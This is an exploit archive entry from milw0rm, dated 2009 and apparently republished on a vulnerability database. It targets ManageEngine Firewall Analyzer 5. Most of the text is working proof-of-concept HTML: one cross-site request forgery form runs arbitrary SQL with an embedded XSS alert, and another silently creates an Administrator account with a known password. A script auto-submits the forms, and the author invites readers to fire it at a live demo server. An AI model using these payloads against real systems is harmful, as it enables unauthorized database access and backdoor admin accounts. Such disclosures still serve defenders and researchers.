ManageEngine Firewall Analyzer 5 - CSRF/XSS Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

ManageEngine Firewall Analyzer 5 - CSRF/XSS Vulnerability, Exploi


                                                Written By Michael Brooks
Special thanks to str0ke!


Product: ManageEngine Firewall Analyzer 5 - XSRF and XSS
Vulerable version:
Build Version  :  	5.0.0
Build Number  :  	5000
Build Date  :  	Apr_25
homepage:
http://fwanalyzer.com/

This is live exploit code against the online demo.   Go ahead,  run it!

With this exploit you can execute any SQL query you want,  this is not
SQL Injection.  I think its funny that the sql query is also
vulnerable to xss.

XSRF to execute Arbatrary SQL Queries.  This is not SQL Injection,
its better because you can execute *any*  query.
&#60;html&#62;
	&#60;form action=&#39;http://demo.fwanalyzer.com/fw/runQuery.do&#39; method=&#39;POST&#39; id=1&#62;
		&#60;input type=hidden name=&#34;execute&#34; value=&#34;true&#34; &#62;
		&#60;input type=hidden name=&#34;DatabaseType&#34; value=&#34;mysql&#34;&#62;
		&#60;input type=hidden name=&#34;query&#34; value=&#39;select
&#34;&#60;script&#62;alert(/0wn3d/)&#60;/script&#62;&#34;&#39;&#62;
		&#60;input type=submit&#62;
	&#60;/form&#62;
&#60;/html&#62;

Create a new administrative account badmin:badmin:
&#60;html&#62;
	&#60;form action=&#39;http://demo.fwanalyzer.com/fw/userManagementForm.do&#39;
method=&#39;POST&#39; id=2&#62;
		&#60;input type=hidden name=&#39;addField&#39; value=&#39;true&#39;&#62;
		&#60;input type=hidden name=&#39;productName&#39; value=&#39;firewall&#39;&#62;
		&#60;input type=hidden name=&#39;userType&#39; value=&#39;Administrator&#39;&#62;
		&#60;input type=hidden name=&#39;licType&#39; value=&#39;Prem&#39;&#62;
		&#60;input type=hidden name=&#39;userName&#39; value=&#39;madmin&#39;&#62;
		&#60;input type=hidden name=&#39;pwd1&#39; value=&#39;badmin&#39;&#62;
		&#60;input type=hidden name=&#39;password&#39; value=&#39;badmin&#39;&#62;
		&#60;input type=hidden name=&#39;userGroup&#39; value=&#39;Administrator&#39;&#62;
		&#60;input type=hidden name=&#39;email&#39; value=&#39;[email protected]&#39;&#62;
		&#60;input type=hidden name=&#39;availableDevices&#39; value=&#39;301&#39;&#62;
		&#60;input type=hidden name=&#39;Submit3&#39; value=&#39;Add User&#39;&#62;
		&#60;input type=submit&#62;
		&#60;/form&#62;
&#60;/html&#62;

&#60;script&#62;
	document.getElementById(1).submit();
	//document.getElementById(2).submit();
&#60;/script&#62;

# milw0rm.com [2009-01-29]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1